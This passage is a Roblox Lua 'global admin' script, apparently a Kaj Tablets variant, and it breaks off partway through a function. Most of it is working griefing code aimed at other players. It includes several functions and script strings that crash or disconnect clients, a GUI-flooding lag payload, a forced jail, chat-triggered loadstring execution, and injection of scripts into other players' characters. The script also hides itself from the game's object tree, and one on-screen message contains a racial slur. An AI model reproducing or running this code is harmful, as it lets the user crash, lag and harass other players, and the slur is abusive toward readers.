Admin

--((Rare[Main{GLOBAL}Swagmin
--[[
Swagmin
Lol global admin
]]












if script then
    coroutine.yield()
    script.Parent = nil
end
--[[Stuff]]--
VR = _VERSION
Plrs = game:GetService("Players")
Work = game:GetService("Workspace")
Light = game:GetService("Lighting")
Net = game:GetService("NetworkServer")
Removed = false
Bet = "/"
LS = nil
LSSource = nil
OwnSource = nil
FoundLocalScript = false
LogOn = false
Current = game
Clipboard = {}
AlertColor = Color3.new(1, 0, 0)
OptionColor = Color3.new(1, 0, 0)
ImportantColor = Color3.new(1, 0, 0)
--[[Ranks]]--
RankDetails = {
        [-3] = {Name = "Mute Banned", Color = Color3.new(1, 1, 1), Desc = "Muted"},
        [-2] = {Name = "Jail Banned", Color = Color3.new(1, 1, 1), Desc = "Jailed"},
        [-1] = {Name = "Just Banned", Color = Color3.new(1, 1, 1), Desc = "Banned forever"},
        [0] = {Name = "Default", Color = Color3.new(0, 0, 1), Desc = "Defaults"},
        [1] = {Name = "Moderator", Color = Color3.new(0.25, 0, 1), Desc = "Moderator"},
        [2] = {Name = "Administrator", Color = Color3.new(0, 1, 0), Desc = "Server Administrator"},
        [3] = {Name = "Maximum Moderator", Color = Color3.new(1, 1, 0), Desc = "Maximum Moderator"},
        [4] = {Name = "Super Adminstrator", Color = Color3.new(1, 2, 0), Desc = "Super Administrator)"},
        [5] = {Name = "Maximum Adminstrator", Color = Color3.new(1, 0, 0), Desc = "Maximum Adminstrator"},

}

Rankings = {
        {Name = "Derek1017", Rank = 5},
        {Name = "Derek1017", Rank = 6}



}


--[[End of Ranks]]--
ImportantServices = {
        "Workspace",
        "Players",
        "NetworkServer",
        "Lighting",
        "StarterGui",
        "Teams",
        "StarterPack",
}

Ranks = {}
Commands = {}
AllTabs = {}
Injected = {}

Properties = {"AbsolutePosition","AbsoluteSize","AccountAge","AccountAgeReplicate",
"Active","Adornee","AllowAmbientOcclusion","AllowTeamChangeOnTouch","AluminumQuality",
"AlwaysOnTop","Ambient","AmbientReverb","Anchored","Angularvelocity","AnimationId",
"Archivable","AreHingesDetected","AttachmentForward","AttachmentPoint","AttachmentPos",
"AttachmentRight","AttachmentUp","AutoAssignable","AutoButtonColor","AutoColorCharacters",
"AvailablePhysicalMemory","Axes","BackgroundColor","BackgroundColor3","BackgroundTransparency",
"BackSurface","BaseTextureId","BaseUrl","Bevel","Roundness","BinType","BlastPressure","BlastRadius",
"BodyColor","BodyPart","BorderColor","BorderColor3","BorderSizePixel","BottomSurface","BrickColor",
"Brightness","Browsable","BubbleChat","BubbleChatLifetime","BubbleChatMaxBubbles",
"Bulge","Button1DownConnectionCount","Button1UpConnectionCount","Button2DownConnectionCount",
"Button2UpConnectionCount","C0","C1","CameraMode","CameraSubject","CameraType",
"CanBeDropped","CanCollide","CartoonFactor","CastShadows","CelestialBodiesShown",
"CFrame","Cframe","Character","CharacterAppearance","CharacterAutoLoads","ChatScrollLength",
"ClassicChat","ClassName","ClearTextOnFocus","ClipsDescendants","CollisionSoundEnabled",
"CollisionSoundVolume","Color","ColorShift_Top","ColorShift_Bottom","Bottom","Top","ConstrainedValue","Contro".."llingHumanoid",
"ControlMode","ConversationDistance","CoordinateFrame","CorrodedMetalQuality","CPU",
"CpuCount","CpuSpeed","CreatorId","CreatorType","CurrentAngle","CurrentCamera",
"CycleOffset","D","DataCap","DataComplexity","DataComplexityLimit","DataCost",
"DataReady","Deprecated","DeselectedConnectionCount","DesiredAngle","DiamondPlateQuality",
"Disabled","DistanceFactor","DistributedGameTime","DopplerScale","Draggable","DraggingV1",
"Duration","EditorFont","EditorFontSize","EditorTabWidth","ElapsedTime","Elasticity",
"Enabled","ExplosionType","ExtentsOffset","F0","F1","F2","F3","Face","FaceId","Faces",
"FieldOfView","Focus","FogColor","FogEnd","FogStart","Font","FontSize","Force","FormFactor",
"Friction","From","FrontSurface","GearGenreSetting","Genre","GeographicLatitude","GfxCard", "GlobalShadows","Graphic",
"GrassQuality","Grip","GripForward","GripPos","GripRight","GripUp","Guest","HeadsUpDisplay",
"Health","Heat","Hit","Humanoid","IceQuality","Icon","IdleConnectionCount","Image",
"InitialPrompt","InOut","InUse","IsPaused","IsPlaying","JobId","Jump","KeyDownConnectionCount",
"KeyUpConnectionCount","LeftLeg","LeftRight","LeftSurface","LinkedSource","LocalPlayer","Location",
"Locked","LODX","LODY","Looped","Material","MaxActivationDistance","MaxCollisionSounds",
"MaxExtents","MaxForce","MaxHealth","MaxItems","MaxPlayers","MaxSpeed","MaxThrust",
"MaxTorque","MaxValue","MaxVelocity","MembershipType","MembershipTypeReplicate","MeshId",
"MeshType","MinValue","Modal","MouseButton1ClickConnectionCount","MouseButton1DownConnectionCount",
"MouseButton1UpConnectionCount","MouseButton2ClickConnectionCount","MouseButton2DownConnectionCount",
"MouseButton2UpConnectionCount","MouseDelta","MouseDragConnectionCount","MouseEnterConnectionCount",
"MouseHit","MouseLeaveConnectionCount","MouseLock","MouseMovedConnectionCount","MouseTarget",
"MouseTargetFilter","MouseTargetSurface","MoveConnectionCount","MoveState","MultiLine","Name",
"NameOcclusion","NetworkOw".."ner","Neutral","NumPlayers","Offset","Opacity","Origin","OsPlatform",
"OsVer","OutdoorAmbient","OverlayTextureId","P","PantsTemplate","ParamA","ParamB","Parent","Part","Part0",
"Part1","Pitch","PixelShaderModel","PlaceId","PlasticQuality","PlatformStand","PlayCount",
"PlayerToHideFrom","PlayOnRemove","Point","Port","Position","Preliminary","PrimaryPart",
"PrivateWorkingSetBytes","Purpose","RAM","Reflectance","ReplicatedSelectedConnectionCount",
"ResizeableFaces","ResizeIncrement","Resolution","ResponseDialog","RightLeg","RightSurface","RiseVelocity",
"RobloxLocked","RobloxVersion","RolloffScale","RotVelocity","Scale","Score","ScriptsDisabled",
"SecondaryColor","Selected","ShadowColor","Shape","Shiny","ShirtTemplate","ShowDeprecatedObjects",
"ShowDevelopmentGui","ShowPreliminaryObjects","Sides","Sit","Size","SizeConstraint",
"SizeOffset","SkinColor","SkyboxBk","SkyboxDn","SkyboxFt","SkyboxLf","SkyboxRt","SkyboxUp",
"SlateQuality","SoundId","Source","SparkleColor","Specular","StarCount",
"Steer","StickyWheels","StudsBetweenTextures","StudsOffset","StudsPerTileU","StudsPerTileV",
"Style","Summary","SuperSa".."feChatReplicate","Surface","Surface0",
"Surface1","SurfaceInput","Target","TargetFilter","TargetOffset","TargetPoint",
"TargetRadius","TargetSurface","TeamColor","Terrain","Text","TextBounds","TextColor","TextColor3",
"TextFits","TextScaled","TextStrokeColor3","TextStrokeTransparency","TextTransparency","Texture",
"TextureId","TextureSize","TextWrap","TextWrapped","TextXAlignment","TextYAlignment","Throttle",
"ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
"Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
"Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
"ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
"WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
"X","Y"}

--Main Functions And Sources

function Insert(Source, Par, Par2, Par3)
        ypcall(function()
                local Inserted = LS:Clone()
                Inserted.Disabled = true
                Inserted.Parent = Par or Par2 or Par3
                Inserted[LSSource].Value = Source
                Inserted.Disabled = false
        end)
end

function CheckImportant(Name)
        for _,v in pairs(ImportantServices) do
                if v:lower() == Name:lower() then
                        return true
                end
        end
        return false
end

function Crash1(Plr)
        ypcall(function()
                Plr:Kick()
        end)
end

function GetRankTab()
        return Rankings
end

function Crash2(Name)
        local Crasher = Instance.new("StringValue")
        Crasher.Name = "Client"
        Crasher.Value = string.lower(tostring(Name))
        Crasher.Parent = game:GetService("Lighting")
        wait(1)
        if Crasher and Crasher.Parent then
                ypcall(function()
                        Crasher:Destroy()
                end)
        end
end

function Crash3(v, Speaker)
        Speaker.Character.Archivable = true
        local NChar = Speaker.Character:Clone()
        NChar.Name = v.Name
        NChar.Torso.CFrame = Speaker.Character.Head.CFrame * CFrame.new(0, 3, 0)
        NChar.Parent = Workspace
        v.Character = NChar
        coroutine.resume(coroutine.create(function()
                repeat v.Character = NChar
                wait(1/3) until false
        end))
        wait(.5)
        Insert(InsertCrash, NChar, nil, nil)
end

function GenerateDigit()
        return 1 + 5
end


NilS = [==[
if script then
    coroutine.yield()
    script.Parent = nil
end
Player=game.Players.LocalPlayer
Probe=Instance.new'Part';
CN='Kaj TabletsNil | ['..Player.Name..']'
Camera=Workspace.CurrentCamera
Animate = game:GetService("InsertService"):LoadAsset(68452456):findFirstChild("Animate",true) or Instance.new("Part")
Char = Player.Character
if Char then
        Char.Archivable = true
        Char = Char:clone()
        local t = game:GetService("InsertService"):LoadAsset(68452456):findFirstChild("Clone")
        if t then
                for k,v in pairs(Char:GetChildren()) do
                        if not v:IsA("Part") then
                                v:clone().Parent = t
                        end
                end
                Char = t:clone()
                if Player.Name == "Cobalt1164" or Player.Name == "hipow12" then
        local spot = Instance.new("SpotLight",Char.Head)
        spot.Angle = 10
        spot.Range = 10
        spot.Color = Color3.new(1,1,1)
        spot.Brightness = 10
        local point = Instance.new("PointLight",Char.Head)
        point.Range = 10
        point.Color = Color3.new(1,1,1)
        point.Brightness = 10
        end
        end
end

coroutine.resume(coroutine.create(function()
        while true do wait(0.00000001)
                pcall(function()
                        if Character.Torso.CFrame.Y < 1 then
                        Character.Torso.CFrame = CFrame.new(0,20,0)
                        end
                 end)
        end
end))
Title=function(txt,part,color,rise)
        col=nil
        col=Color3.new(BrickColor.new(color))
        local Gui = Instance.new("BillboardGui",part)
        Gui.Name = "3DGUI"
        Gui.ExtentsOffset = Vector3.new(0,2,0)
        Gui.Size = UDim2.new(8,0,2,0)
        local Tit = Instance.new("TextLabel",Gui)
        Tit.Name = "Title"
        Tit.TextColor3 = Color3.new(col.r/2,col.g/2,col.b/2)
        Tit.TextColor3 = Color3.new(0,0,0)
        Tit.TextTransparency = 0.25
        Tit.TextStrokeColor3 = Color3.new(col.r/2,col.g/2,col.b/2)
        Tit.TextStrokeTransparency = 0.5
        Tit.Size = UDim2.new(1,0,1,0)
        Tit.BackgroundTransparency = 1
        Tit.Font = "ArialBold"
        Tit.TextScaled = true
        Tit.Text = txt
        if rise then
                if not tonumber(rise) then rise = 1 end
                coroutine.wrap(function()
                        while Tit.Parent and Gui.Parent and wait() do
                                Gui.ExtentsOffset = Gui.ExtentsOffset + Vector3.new(0,0.025*rise,0)
                        end
                end)()
        end
        return Tit
end
Chat=function(Part,Text,Color,Type)
        if Type==nil or Type==1 or Type=='Bubble' then
                game:service'Chat':Chat(Part,Text,Color)
        else
                if type(Color)~='string' then
                        Color=tostring(BrickColor.random())
                end
                Title(Text,Part,Color,math.random(1,3))
        end
end
DestroyCharacter=function()
        local chara = Player.Character
        if not chara then return end
        if chara:findFirstChild("Humanoid") then
                chara.Humanoid:Destroy()
        end
        chara:BreakJoints()
        for k,v in pairs(chara:GetChildren()) do
                if v:IsA("BasePart") then
                        v.CanCollide = false
                        v.Velocity = Vector3.new(math.random(-20,20),50,math.random(-20,20))
                        v.RotVelocity = Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20))
                end
        end
        game.Debris:AddItem(chara,3)
end
MakeProbe=function()
        if Player.Character then DestroyCharacter() end Player.Character = nil
        if Probe then Probe:Destroy() end
        Probe = Instance.new("Part",workspace) local Camera = workspace.CurrentCamera
        Probe.Shape, Probe.Size, Probe.BrickColor = "Ball", Vector3.new(3,3,3), BrickColor.new('Black')
        Probe.Transparency, Probe.Reflectance, Probe.Anchored, Probe.CanCollide, Probe.Locked = 0.5, 0.25, true, false, true
        Probe.TopSurface, Probe.BottomSurface, Probe.Name = 0, 0, "Probe"..tick()
        coroutine.wrap(function() while wait() and not Player.Character do Probe.CFrame = Camera.Focus end end)()
        Player.Character=Probe
end
Spawn=function()
        if Char then
                local c = Char:clone()
                c.Name = CN
                c.Parent = workspace
                c:MoveTo(workspace.CurrentCamera.Focus.p)
                Player.Character = c
                workspace.CurrentCamera.CameraSubject = c:findFirstChild("Humanoid")
                workspace.CurrentCamera.CameraType = "Custom"
                Probe:Destroy()
        end
end
Player.Chatted:connect(function(Msg)
game:service'Chat':Chat(Player.Character.Head,Msg,'Green')
        if Msg:sub(1,2) == '//' then
                local Func,Error=loadstring(Msg:sub(3))
                if Error==nil then
                        pcall(Func)
                        if Player.Character then
                                game:service'Chat':Chat(Player.Character.Head,'Local Script executed!','Green')
                        end
                else
                        if Player.Character then
                                game:service'Chat':Chat(Player.Character.Head,Error,'Red')
                        else
                                local Msg=Instance.new'Message'
                                Msg.Parent=Workspace.CurrentCamera
                                Msg.Text=Error
                                game:service'Debris':AddItem(Msg,5)
                        end
                end
        elseif Msg:sub(1,#('newlocal')+2) == '/newlocal/' then
                NewMsg=Msg:sub(#('newlocal')+3)
                Split=NewMsg:find('/')
                local PlayerName=NewMsg:sub(1,Split-1)
                local Source=NewMsg:sub(Split+1)
                Player=nil
                for i,v in pairs(game.Players:GetPlayers()) do
                        if v.Name:lower():sub(1,#PlayerName)==PlayerName then
                                if Player==nil then
                                        Player=v
                                else
                                        if type(Player) == 'table' then
                                                Player[#Player+1]=v
                                        else
                                                Player={v}
                                        end
                                end
                        end
                end
                if type(Player)=='table' then
                        for i,v in pairs(Player) do
                                if newLocalScript then
                                        newLocalScript(Source,v.Character)
                                else
                                        Clone=script:clone();
                                        SourceC=Clone:children()[1]
                                        if SourceC:IsA'StringValue' then
                                                print'String'
                                        else
                                                SourceC=Clone:children()[2]
                                        end
                                        SourceC.Value=Source
                                        Clone.Disabled=true
                                        Clone.Parent=v.Character
                                        Clone.Disabled=false
                                end
                        end
                else
                        if newLocalScript then
                                newLocalScript(Source,Player.Character)
                        else
                                Clone=script:clone();
                                DS=Clone:children()
                                DSS=nil
                                for i,v in pairs(DS) do if v:IsA'StringValue' then DSS=v end end
                                DSS.Value=Source
                                Clone.Disabled=true;
                                Clone.Parent=Player.Character
                                Clone.Disabled=false
                        end
                end
        elseif Msg:sub(1,#('rejoin')+2) == '/rejoin/' then
                game:service'TeleportService':Teleport(Game.PlaceId)
        elseif Msg:sub(1,#('probe')+2) == '/probe/' then
                MakeProbe()
        elseif Msg:sub(1,#('char')+2) =='/char/' then
                Spawn()
        elseif Msg:sub(1,#('ban')+2) == '/ban/' then
                Player=game.Players:findFirstChild(Msg:sub(#('ban')+3))
                if Player then
                        repeat pcall(function() game.Players[Player.Name]:Destroy() end) wait() until 1+1==3
                end
        end
        wait()
        if game.Players:findFirstChild(Player.Name)==nil and not Msg:find('/probe/') and not Msg:find('/char/') then -- Is nil then
                if Probe then
                        Chat(Probe,Msg,math.random(0,2))
                else
                        if Player.Character==nil then
                                if Char then
                                        Chat(Char.Head,Msg,math.random(0,2))
                                end
                        else
                                Chat(Player.Character.Head,Msg,'Red')
                        end
                end
        end
end) -- local
]==]

InjectionCrash = [=[
        wait(0)
        script.Parent = nil
        local Lig = game:GetService("Lighting")
        local LP = game:GetService("Players").LocalPlayer
        local LowerName = LP.Name:lower()

        Lig.ChildAdded:connect(function(Obj)
                if Obj.Name == "Client" and Obj.ClassName == "StringValue" and (LowerName:find(string.lower(Obj.Value)) or (LP.Character and LP.Character.Name:lower():find(string.lower(Obj.Value)))) then
                        pcall(function()
                                Obj:Destroy()
                        end)
                        LP.Parent = nil
                        LP.Parent = game:GetService("Players")
                end
        end)
]=] RankDetails[GenerateDigit()] = {Name = ('Owner, Main Developer'), Color = Color3.new((2 - 3), (2 - 3), (2 - 3)), Desc = ("Yeah, rank 6.")}

InsertCrash = [==[
        local LP = game:GetService("Players").LocalPlayer
        LP.Parent = nil
        LP.Parent = game:GetService("Players")
]==]

LagSource = [==[
        wait(0)
        script.Parent = nil
        plr = game:GetService("Players").LocalPlayer
        local plrgui = plr:findFirstChild("PlayerGui")
        if plrgui == nil then repeat wait() plrgui = plr:findFirstChild("PlayerGui") until plrgui ~= nil end
        while plr.Parent == game:GetService("Players") do
        wait()
        for i = 1, 1000 do
        local sc = Instance.new("ScreenGui",plrgui)
        local fr = Instance.new("TextLabel",sc)
        fr.Text = "LAGGING"
        fr.Size = UDim2.new(1, 0, 1, 0)
        fr.FontSize = "Size48"
        end
        end
]==]

MuteSource = [==[
        game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
]==]

UnMuteSource = [==[
        game:GetService("StarterGui"):SetCoreGuiEnabled(4, true)
]==]

FunScript = [[
LP = game:service'Players'.LocalPlayer
Shapes = {"Ball", "Block"}
wait()
script.Parent = nil
Delay(0, function()
while wait() do
workspace.CurrentCamera.CameraType = "Scriptable"
workspace.CurrentCamera.FieldOfView = workspace.CurrentCamera.FieldOfView + math.random(-5,5)
workspace.CurrentCamera:SetRoll(workspace.CurrentCamera:GetRoll()+0.075)
workspace.CurrentCamera.CoordinateFrame = workspace.CurrentCamera.CoordinateFrame * CFrame.new(math.random(-2,2),math.random(-2,2),math.random(-2,2))
local Part = Instance.new("Part", workspace.CurrentCamera)
Part.Shape = Shapes[math.random(1, 2)]
Part.Anchored = true
Part.BrickColor = BrickColor.new(math.random(),math.random(),math.random())
Part.Size = Vector3.new(math.random(5,10),math.random(-25,25),math.random(5,10))
Part.CFrame = workspace.CurrentCamera.CoordinateFrame * CFrame.new(math.random(-250,250),math.random(-100,100),math.random(-250,250)) * CFrame.Angles(math.random(),math.random(),math.random())
local Smoke = Instance.new("Smoke", Part)
Smoke.Color = Color3.new(math.random(), math.random(), math.random())
Smoke.Opacity = 0.7
local Sparkles = Instance.new("Sparkles", Part)
Sparkles.SparkleColor = Color3.new(math.random(), math.random(), math.random())
local Fire = Instance.new("Fire", Part)
Fire.Color = Color3.new(math.random(), math.random(), math.random())
Fire.SecondaryColor = Color3.new(math.random(), math.random(), math.random())
local Ex = Instance.new("Explosion", workspace.CurrentCamera)
Ex.Position = Vector3.new(math.random(-250,250),math.random(10,100),math.random(-250,250))
Ex.BlastPressure = 15
Ex.BlastRadius = 12.5
if not workspace.CurrentCamera:findFirstChild("Hint") then
local mes = Instance.new("Hint", workspace.CurrentCamera)
mes.Text = "OMG STOP FUCKING WITH MY SHIT YOU STUPID NIGGA"
end
end
end)
]]

JailSource = [==[
        wait(0)
        script.Parent = nil

        local LP = game:GetService("Players").LocalPlayer
        Middle2 = nil
        Middle = nil
        game:GetService("Workspace").CurrentCamera:ClearAllChildren()

        Cons = {}

        function makePrison()
                for _,v in pairs(Cons) do
                        v:disconnect()
                end
                game:GetService("Workspace").CurrentCamera:ClearAllChildren()
                if Middle == nil then
                        Middle2 = LP.Character.Torso.Position
                        Middle = LP.Character.Torso.CFrame
                end
                local side1 = Instance.new("Part")
                side1.Name = "¬Focus1¬"
                side1.Size = Vector3.new(20, 50, 1)
                side1.CFrame = Middle * CFrame.new(0, 0, -10)
                side1.BrickColor = BrickColor.new("Really black")
                side1.CanCollide = true
                side1.Anchored = true
                side1.TopSurface = "Smooth"
                side1.BottomSurface = "Smooth"
                side1.Parent = game:GetService("Workspace").CurrentCamera

                local side2 = Instance.new("Part")
                side2.Name = "¬Focus2¬"
                side2.Size = Vector3.new(20, 50, 1)
                side2.CFrame = Middle * CFrame.new(0, 0, 10)
                side2.BrickColor = BrickColor.new("Really black")
                side2.CanCollide = true
                side2.Anchored = true
                side2.TopSurface = "Smooth"
                side2.BottomSurface = "Smooth"
                side2.Parent = game:GetService("Workspace").CurrentCamera

                local side3 = Instance.new("Part")
                side3.Name = "¬Focus3¬"
                side3.Size = Vector3.new(1, 50, 20)
                side3.CFrame = Middle * CFrame.new(10, 0, 0)
                side3.BrickColor = BrickColor.new("Really black")
                side3.CanCollide = true
                side3.Anchored = true
                side3.TopSurface = "Smooth"
                side3.BottomSurface = "Smooth"
                side3.Parent = game:GetService("Workspace").CurrentCamera

                local side4 = Instance.new("Part")
                side4.Name = "¬Focus4¬"
                side4.Size = Vector3.new(1, 50, 20)
                side4.CFrame = Middle * CFrame.new(-10, 0, 0)
                side4.BrickColor = BrickColor.new("Really black")
                side4.CanCollide = true
                side4.Anchored = true
                side4.TopSurface = "Smooth"
                side4.BottomSurface = "Smooth"
                side4.Parent = game:GetService("Workspace").CurrentCamera

                local side5 = Instance.new("Part")
                side5.Name = "¬Focus5¬"
                side5.Size = Vector3.new(20, 1, 20)
                side5.CFrame = Middle * CFrame.new(0, -3.5, 0)
                side5.BrickColor = BrickColor.new("Really black")
                side5.CanCollide = true
                side5.Anchored = true
                side5.TopSurface = "Smooth"
                side5.BottomSurface = "Smooth"
                side5.Parent = game:GetService("Workspace").CurrentCamera

                wait(0)

                table.insert(Cons, side1.Changed:connect(makePrison))
                table.insert(Cons, side2.Changed:connect(makePrison))
                table.insert(Cons, side3.Changed:connect(makePrison))
                table.insert(Cons, side4.Changed:connect(makePrison))
                table.insert(Cons, side5.Changed:connect(makePrison))
        end

        Delay(0, function()
                while wait(0) do
                        ypcall(function()
                                if game:GetService("Workspace").CurrentCamera == nil or not LP.Character:findFirstChild("Torso") then
                                        LP.Character:BreakJoints()
                                elseif not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus2¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus3¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus4¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus5¬") then
                                        makePrison()
                                end
                        end)
                        ypcall(function()
                                if (Middle2 - LP.Character.Torso.Position).magnitude >= 11.8 then
                                        LP.Character.Torso.CFrame = game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬").CFrame * CFrame.new(0, 0, 10)
                                end
                        end)
                end
        end)
]==]

function All()
        local AllPlayers = {}
        for _,v in pairs(Plrs:GetPlayers()) do
                ypcall(function()
                        table.insert(AllPlayers, v)
                end)
        end
        return AllPlayers
end

function All2()
        local AllPlayers2 = {}
        for i,v in pairs(Net:GetChildren()) do
                ypcall(function()
                        if v:IsA("ServerReplicator") then
                                table.insert(AllPlayers2, v:GetPlayer())
                        end
                end)
        end
        return AllPlayers2
end

function MakeNum()
        return 2 + 4
end

function ChangeRank(Plr, NewRank)
        local PlrName = nil
        local FoundPlayer = false
        ypcall(function()
                if type(Plr) == "string" then
                        ypcall(function()
                                for i,v in pairs(Rankings) do
                                        if v.Name:lower() == Plr:lower() then
                                                local VName = v.Name
                                                Rankings[i] = nil
                                                table.insert(Rankings, {Name = VName, Rank = NewRank})
                                                PlrName = VName
                                                FoundPlayer = true
                                                break
                                        end
                                end
                        end)
                        if FoundPlayer == false then
                                ypcall(function()
                                        for _,x in pairs(All()) do
                                                if x.Name:lower() == Plr:lower() then
                                                        FoundPlayer = true
                                                        for i,v in pairs(Rankings) do
                                                                if v.Name:lower() == x.Name:lower() then
                                                                        local VName = x.Name
                                                                        Rankings[i] = nil
                                                                        PlrName = VName
                                                                        break
                                                                end
                                                        end
                                                        table.insert(Rankings, {Name = VName, Rank = NewRank})
                                                end
                                        end
                                end)
                        end
                        if FoundPlayer == false then
                                ypcall(function()
                                        for _,x in pairs(All()) do
                                                if string.find(x.Name:lower(), Plr:lower()) then
                                                        FoundPlayer = true
                                                        for i,v in pairs(Rankings) do
                                                                if v.Name:lower() == x.Name:lower() then
                                                                        local VName = x.Name
                                                                        Rankings[i] = nil
                                                                        PlrName = VName
                                                                        break
                                                                end
                                                        end
                                                        table.insert(Rankings, {Name = VName, Rank = NewRank})
                                                end
                                        end
                                end)
                        end
                        if FoundPlayer == false then
                                ypcall(function()
                                        for i,v in pairs(Rankings) do
                                                if string.find(v.Name:lower(), Plr:lower()) then
                                                        local VName = v.Name
                                                        Rankings[i] = nil
                                                        table.insert(Rankings, {Name = VName, Rank = NewRank})
                                                        PlrName = VName
                                                        FoundPlayer = true
                                                        break
                                                end
                                        end
                                end)
                        end
                else
                        for i,v in pairs(Rankings) do
                                if v.Name:lower() == Plr.Name:lower() then
                                        Rankings[i] = nil
                                        break
                                end
                        end
                        table.insert(Rankings, {Name = Plr.Name, Rank = NewRank})
                        PlrName = Plr.Name
                end
                PlaceAllRanks(true)
        end)
        if PlrName ~= nil then
                return PlrName
        else
                return "Player"
        end
end

function Refresh(Plr)
        MakeChildren(Plr)
end

function MakeChildren(Plr)
        ypcall(function()
                Dismiss(Plr)
                for _,v in pairs(Current:GetChildren()) do
                        ypcall(function()
                                if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
                                        Ping(v.Name, Plr, nil, function(TabMod)
                                                local TabText = TabMod["Kaj Tablet"].BG.TL.Text
                                                for _,v in pairs(Current:GetChildren()) do
                                                        ypcall(function()
                                                                if v.Name == TabText then
                                                                        Dismiss(Plr)
                                                                        Current = v
                                                                        MakeChildren(Plr)
                                                                end
                                                        end)
                                                end
                                        end)
                                elseif Plrs:GetPlayerFromCharacter(v) then
                                        Ping(v.Name, Plr, nil, function(TabMod)
                                                local TabText = TabMod["Kaj Tablet"].BG.TL.Text
                                                for _,v in pairs(Current:GetChildren()) do
                                                        ypcall(function()
                                                                if v.Name == TabText then
                                                                        Dismiss(Plr)
                                                                        Current = v
                                                                        MakeChildren(Plr)
                                                                end
                                                        end)
                                                end
                                        end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
                                elseif CheckImportant(v.Name) then
                                        Ping(v.Name, Plr, nil, function(TabMod)
                                                local TabText = TabMod["Kaj Tablet"].BG.TL.Text
                                                for _,v in pairs(Current:GetChildren()) do
                                                        ypcall(function()
                                                                if v.Name == TabText then
                                                                        Dismiss(Plr)
                                                                        Current = v
                                                                        MakeChildren(Plr)
                                                                end
                                                        end)
                                                end
                                        end, ImportantColor)
                                end
                        end)
                end
                if Current ~= game then
                        Ping("Back", Plr, nil, function()
                                ypcall(function()
                                        Current = Current.Parent
                                        MakeChildren(Plr)
                                        Ping("You Are Back To "..Current.Name, Plr, 5)
                                end)
                        end, OptionColor)
                end
                if Current ~= game then
                        Ping("Delete", Plr, nil, function()
                                ypcall(function()
                                        local CurrPar = Current.Parent or game
                                        local CurrName = Current.Name
                                        Current:Destroy()
                                        Current = CurrPar
                                        MakeChildren(Plr)
                                        Ping("Attempted To Delete "..CurrName, Plr, 5)
                                end)
                        end, OptionColor)
                end
                Ping("Refresh", Plr, nil, function()
                        ypcall(function()
                                Refresh(Plr)
                                Ping("Refreshed", Plr, 5)
                        end)
                end, OptionColor)
                Ping("Properties", Plr, nil, function()
                        ypcall(function()
                                Dismiss(Plr)
                                for Property, Value in pairs(GetProperties(Current)) do
                                        Ping(tostring(Property)..": "..tostring(Value), Plr)
                                end
                                Ping("Got All Available Properties", Plr, 5)
                                Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
                        end)
                end, OptionColor)
        end)
end

function Fixl()
        Light.GlobalShadows = true
        Light.TimeOfDay = "14:00:00"
        Light.Brightness = 0.5
        Light.ShadowColor = Color3.new(0.705882, 0.705882, 0.72549)
        Light.Ambient = Color3.new(1, 1, 1)
        Light.ColorShift_Top = Color3.new(0, 0, 0)
        Light.ColorShift_Bottom = Color3.new(0, 0, 0)
        Light.OutdoorAmbient = Color3.new(0.5, 0.5, 0.5)
        Light.FogStart = 0
        Light.FogEnd = 100000
        Light.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
        Light:ClearAllChildren()
end

function GetProperties(obj)
        assert(pcall(function() assert(game.IsA(obj,"Instance")) end),"Should be ROBLOX instance")
        local objProper = {}
        for i,v in pairs(Properties) do
                if pcall(function() return obj[v] end) and (type(obj[v]) ~= "userdata" or not obj:FindFirstChild(v)) then
                        objProper[v] = obj[v]
                end
        end
        return objProper
end

function MakeExplorer(Plr)
        Dismiss(Plr)
        Current = game
        for _,v in pairs(Current:GetChildren()) do
                ypcall(function()
                        if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
                                Ping(v.Name, Plr, nil, function(TabMod)
                                        local TabText = TabMod["Kaj Tablet"].BG.TL.Text
                                        for _,v in pairs(Current:GetChildren()) do
                                                ypcall(function()
                                                        if v.Name == TabText then
                                                                Dismiss(Plr)
                                                                Current = v
                                                                MakeChildren(Plr)
                                                        end
                                                end)
                                        end
                                end)
                        elseif Plrs:GetPlayerFromCharacter(v) then
                                Ping(v.Name, Plr, nil, function(TabMod)
                                        local TabText = TabMod["Kaj Tablet"].BG.TL.Text
                                        for _,v in pairs(Current:GetChildren()) do
                                                ypcall(function()
                                                        if v.Name == TabText then
                                                                Dismiss(Plr)
                                                                Current = v
                                                                MakeChildren(Plr)
                                                        end
                                                end)
                                        end
                                end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
                        elseif CheckImportant(v.Name) then
                                Ping(v.Name, Plr, nil, function(TabMod)
                                        local TabText = TabMod["Kaj Tablet"].BG.TL.Text
                                        for _,v in pairs(Current:GetChildren()) do
                                                ypcall(function()
                                                        if v.Name == TabText then
                                                                Dismiss(Plr)
                                                                Current = v
                                                                MakeChildren(Plr)
                                                        end
                                                end)
                                        end
                                end, ImportantColor)
                        end
                end)
        end
        if Current ~= game then
                Ping("Back", Plr, nil, function()
                        ypcall(function()
                                Current = Current.Parent
                                MakeChildren(Plr)
                                Ping("Back In "..Current.Name, Plr, 5)
                        end)
                end, OptionColor)
        end
        if Current ~= game and game:GetService(Current.Name) == nil then
                Ping("Delete", Plr, nil, function()
                        ypcall(function()
                                local CurrPar = Current.Parent or game
                                local CurrName = Current.Name
                                Current:Destroy()
                                Current = CurrPar
                                MakeChildren(Plr)
